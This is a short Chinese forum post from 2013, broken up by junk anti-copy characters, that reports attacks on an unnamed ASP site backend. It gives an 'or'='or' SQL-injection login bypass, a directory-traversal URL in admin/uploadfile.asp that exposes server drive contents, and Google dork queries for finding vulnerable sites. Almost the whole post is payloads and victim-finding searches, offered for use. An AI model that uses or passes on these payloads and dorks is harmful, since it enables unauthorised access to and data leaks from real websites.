后台万能密码 'or'='or'* a- C4 q+ u6 ~6 C" X Q
/ b$ l; {! a6 d; _7 c; U3 O, e& J) _
后台文件管理存在绕过。导致浏览所在盘符信息。信息泄露！) J9 Y2 c8 `+ H0 ?
admin/uploadfile.asp?currentFolder=/upfiles/../
2 b4 i! Q& ~# R4 V u5 P+ z. Z- u( }- v
漏洞证明：4 B6 p6 f9 f! C I1 b
+ c+ k+ h+ B- f+ z/ X1 f0 B+ l谷歌：inurl:type.asp?id=1 新闻中心! G1 R; }6 P ~# M' I( l
或者 ：inurl:download_ok.asp?8 g: a! ~: U5 P' c# E4 B% Y( k- p
) R, ~4 ]1 A+ u, C1 V' x& T
|
发表于 2013-3-14 20:17:32
收藏
支持
反对